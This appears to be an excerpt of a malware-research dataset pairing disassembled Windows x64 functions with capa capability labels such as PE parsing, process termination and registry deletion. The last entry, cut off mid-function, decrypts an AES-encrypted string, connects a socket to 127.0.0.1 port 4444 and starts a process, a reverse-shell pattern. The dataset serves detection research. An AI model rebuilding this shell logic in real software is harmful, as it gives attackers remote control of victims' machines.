joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400256f0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rcx]
xor ebp, ebp
xor r9d, r9d
lea edx, [rbp + 0x64]
xor r8d, r8d
mov rdi, rcx
call qword [rax + 0x40]
mov ebx, eax
test eax, eax
jns 0x140025739
cmp eax, 0x80020009
je 0x140025739
lea rdx, str.CRecvrServiceModule::UnregisterServer:_Failed_to_UpdateRegistryFromResource_0x_x
lea ecx, [rbp + 1]
mov r8d, eax
call fcn.140001110
mov ebp, ebx
mov rcx, rdi
call fcn.140025d30
mov ebx, eax
test eax, eax
jns 0x14002575d
lea rdx, str.CRecvrServiceModule::UnregisterServer:_Failed_to_Uninstall_0x_x
mov r8d, eax
mov ecx, 1
call fcn.140001110
mov ebp, ebx
mov rdi, qword [rdi + 0x48]
test rdi, rdi
je 0x140025794
jmp 0x14002578e
call qword [rdi + 0x38]
mov rcx, qword [rdi]
xor r8d, r8d
mov rdx, rax
call fcn.140027e10
mov ebx, eax
test eax, eax
js 0x1400257f8
xor ecx, ecx
call qword [rdi + reloc.OLEAUT32.dll_VariantClear]
mov ebx, eax
test eax, eax
js 0x1400257f8
add rdi, 0x48
cmp qword [rdi], 0
jne 0x140025768
mov rax, qword [0x1400a55e0]
test rax, rax
je 0x1400257a8
call rax
mov ebx, eax
test eax, eax
js 0x1400257f4
mov rdi, qword [0x1400a4710]
mov rax, qword [0x1400a4718]
xor ebx, ebx
jmp 0x1400257ef
mov rsi, qword [rdi]
test rsi, rsi
je 0x1400257eb
call qword [rsi + 0x38]
mov rcx, qword [rsi]
xor r8d, r8d
mov rdx, rax
call fcn.140027e10
mov ebx, eax
test eax, eax
js 0x1400257f4
xor ecx, ecx
call qword [rsi + reloc.OLEAUT32.dll_VariantClear]
mov ebx, eax
test eax, eax
js 0x1400257f4
mov rax, qword [0x1400a4718]
add rdi, 8
cmp rdi, rax
jb 0x1400257ba
test ebx, ebx
jns 0x14002580e
lea rdx, str.CRecvrServiceModule::UnregisterServer:_Failed_to_UnregisterServer_0x_x
mov r8d, ebx
mov ecx, 1
call fcn.140001110
mov ebp, ebx
lea rdx, str.SYSTEMCurrentControlSetServicesEventLogMedia_CenterehRecvr
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x14002584e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CRecvrServiceModule::UnregisterServer:_Failed_to_UpdateRegistryFromResource_0x_x
mov ecx, 1
movzx ebp, ax
or ebp, 0x80070000
test eax, eax
cmovle ebp, eax
mov r8d, ebp
call fcn.140001110
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000157f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000d008]
jne 0x14000126a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001266
repz ret
ror rcx, 0x10
jmp 0x1400014d8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000e4c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14000e5b8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000155d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000e4c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000157f
mov rax, qword [rsp + 0x88]
mov qword [0x14000e5b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000e558], rax
mov rax, qword [0x14000e5b8]
mov qword [0x14000e430], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000e540], rax
mov dword [0x14000e420], 0xc0000409
mov dword [0x14000e424], 1
mov rax, qword [0x14000d008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000d010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000e4b8], eax
mov ecx, 1
call fcn.140003ee0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000a2e0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000e4b8], 0
jne 0x140001606
mov ecx, 1
call fcn.140003ee0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140002df0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140004670
nop
cmp dword [0x14000ea00], 1
je 0x140002d9c
mov dword [0x14000e9fc], 1
mov byte [0x14000e9f8], r12b
test ebx, ebx
jne 0x140002d88
mov rcx, qword [0x14000f550]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140002d75
mov rcx, qword [0x14000f548]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140002d14
call fcn.140003a8c
cmp qword [rdi], rax
jne 0x140002d14
jmp 0x140002cfa
cmp rdi, rsi
jb 0x140002d75
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140003a8c
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14000f550]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14000f548]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140002d53
cmp r13, rax
je 0x140002d73
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140002cfa
lea rdx, [0x14000a2a0]
lea rcx, [0x14000a288]
call fcn.140002b44
lea rdx, [0x14000a2b0]
lea rcx, [0x14000a2a8]
call fcn.140002b44
nop
test r12d, r12d
je 0x140002dab
mov ecx, 8
call fcn.140004570
test r12d, r12d
jne 0x140002dd6
mov dword [0x14000ea00], 1
lea ecx, [r12 + 8]
call fcn.140004570
mov ecx, r15d
call fcn.140002ad8
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140002c64

Function at 0x140002dfc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140002c64
Function at 0x140005e9c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140003a8c
xor ebx, ebx
mov rdi, rax
cmp qword [0x14000f228], rbx
jne 0x140005fa2
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140006077
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140006077
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000f228], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000f230], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14000f238], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14000f248], rax
test rax, rax
je 0x140005f99
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14000f240], rax
jmp 0x140005fa9
mov rax, qword [0x14000f240]
jmp 0x140005fb0
mov rax, qword [0x14000f240]
mov r11, qword [0x14000f248]
cmp rax, rdi
je 0x140006018
cmp r11, rdi
je 0x140006018
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14000f248]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140006018
test rax, rax
je 0x140006018
call rsi
test rax, rax
je 0x140006012
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140006012
test byte [rsp + 0x38], 1
jne 0x140006018
bts ebp, 0x15
jmp 0x140006056
mov rcx, qword [0x14000f230]
cmp rcx, rdi
je 0x140006056
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140006056
call rax
mov rbx, rax
test rax, rax
je 0x140006056
mov rcx, qword [0x14000f238]
cmp rcx, rdi
je 0x140006056
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140006056
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000f228]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140006077
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140006079
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001050
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov edi, ecx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
test rax, rax
je 0x1400010d7
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400010d7
mov rcx, rbx
cmp dword [rsp + 0x28], edi
jne 0x1400010b2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400010e2
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x1400010d7
mov rcx, rbx
cmp dword [rsp + 0x28], edi
je 0x1400010a5
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400010c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001610
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
Function at 0x140005068
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140004e3c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004e3c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004e3c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004e3c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004e3c
cmp dword [rcx + 0x84], 0xe
jbe 0x140004e3c
cmp dword [rcx + 0xf8], esi
je 0x140004e3c
mov ecx, r14d
call fcn.140004f84
mov ecx, 2
call fcn.140009eb0
nop
cmp byte [0x14001c310], 0
jne 0x140004f06
mov r15d, 1
mov eax, r15d
xchg dword [0x14001c300], eax
test ebx, ebx
jne 0x140004eaf
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14001c308]
cmp rcx, rax
je 0x140004ea6
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140001d9c]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14001c350]
jmp 0x140004ebb
cmp ebx, r15d
jne 0x140004ec1
lea rcx, [0x14001c368]
call fcn.1400055b0
nop
test ebx, ebx
jne 0x140004ed8
lea rdx, [0x140011320]
lea rcx, [0x140011300]
call fcn.140004cfc
lea rdx, [0x140011330]
lea rcx, [0x140011328]
call fcn.140004cfc
movzx eax, byte [0x14001c310]
test esi, esi
cmove eax, r15d
mov byte [0x14001c310], al
jmp 0x140004f06
mov ecx, 2
call fcn.140009f04
test esi, esi
jne 0x140004f1d
mov ecx, r14d
call fcn.140004f38
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140004dcc
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140011cb0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140011cc0]
mov dword [rax], 1
mov rax, qword [0x140011cd0]
mov dword [rax], 1
mov rax, qword [0x140011c60]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140011ca0]
mov dword [0x14001500c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140011d90]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140011d70]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140011bf0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001890
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001900
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400150a4]
mov rbx, rcx
test esi, esi
jle 0x140001a30
mov rax, qword [0x1400150a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000194b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400019d5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001930
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001a52
mov rax, qword [0x1400150a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400150a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400019ce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400019e0
add dword [0x1400150a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400150a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001958
mov rax, qword [0x1400150a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001fc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140015100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400150e0]
test rbx, rbx
je 0x14000201c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002013
test rsi, rsi
je 0x140002013
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ff8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002230
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002248
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002250
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002260
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400022ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400022a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022af
add rax, 0x28
cmp rax, r9
jne 0x140002290
xor eax, eax
ret

Function at 0x1400022b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002340
mov rdx, qword [0x140011c60]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000232e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000232e
cmp word [rax + 0x18], 0x20b
jne 0x14000232e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002340
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002319
add rbx, 0x28
cmp rbx, rdi
je 0x140002340
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002310
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140011c60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002370
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002378
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002370
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002370
add rax, 0x28
cmp rax, r9
jne 0x1400023b0
xor eax, eax
ret

Function at 0x1400023d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140011c60]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002410
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140011c60]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002430
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002438
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002430
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002480
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002477
test rcx, rcx
je 0x140002430
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002468
xor eax, eax
ret
Function at 0x140002490
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140011c60]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400024d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140011c60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024f0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400024f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002544
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002550
add rdx, 0x28
cmp r9, rdx
jne 0x140002530
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002560
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140011c60]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002582
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002590
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002582
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002582
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002582
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400025e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400025f8
add rdx, 0x28
cmp rdx, r10
jne 0x1400025d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002607
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002617
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400025ee
test ecx, ecx
jg 0x140002600
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000f220
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x630
call dbg.__main
lea rdx, [rsp + 0x68]
lea r8, [rsp + 0x58]
lea rcx, str.bf4439175e7d6c41adaa4d749206325b
call sym.hexStringToBytes
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x5c]
lea rcx, str.4c55eb34dc559dfd61f544040d0fb272cb81ce761befcfb99fe89a32f99a36d6
call sym.hexStringToBytes
lea rdx, [rsp + 0x78]
lea r8, [rsp + 0x60]
lea rcx, str.6eb559448b7033e8442713a7def06611
call sym.hexStringToBytes
call sym.EVP_CIPHER_CTX_new
mov rbx, rax
test rax, rax
je 0x14000f463
mov r12, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
call sym.EVP_aes_256_cbc
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], r12
mov rdx, rax
mov r9, rbp
call sym.EVP_DecryptInit_ex
test eax, eax
je 0x14000f463
mov eax, dword [rsp + 0x60]
mov r13, qword [rsp + 0x78]
lea r14, [rsp + 0x64]
lea rdi, [rsp + 0x230]
mov r8, r14
mov rdx, rdi
mov rcx, rbx
mov dword [rsp + 0x20], eax
mov r9, r13
call sym.EVP_DecryptUpdate
test eax, eax
je 0x14000f463
movsxd rdx, dword [rsp + 0x64]
mov r8, r14
mov rcx, rbx
mov rsi, rdx
add rdx, rdi
call sym.EVP_DecryptFinal_ex
test eax, eax
je 0x14000f463
add esi, dword [rsp + 0x64]
mov rcx, rbx
movsxd rsi, esi
mov byte [rsp + rsi + 0x230], 0
call sym.EVP_CIPHER_CTX_free
mov rcx, r12
call sym.free
mov rcx, rbp
call sym.free
mov rcx, r13
call sym.free
mov ecx, 0x115c
call qword [sym.imp.WS2_32.dll_htons]
lea rdx, [rsp + 0x90]
mov ecx, 0x202
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000f463
mov dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 1
mov r8d, 6
mov dword [rsp + 0x20], 0
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000f463
mov eax, 2
lea rcx, str.127.0.0.1
mov word [rsp + 0x80], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov rcx, rbx
mov word [rsp + 0x82], si
mov dword [rsp + 0x84], eax
mov r8d, 0x10
lea rdx, [rsp + 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
je 0x14000f463
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov qword [rsp + 0x48], 0
mov rdx, rdi
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
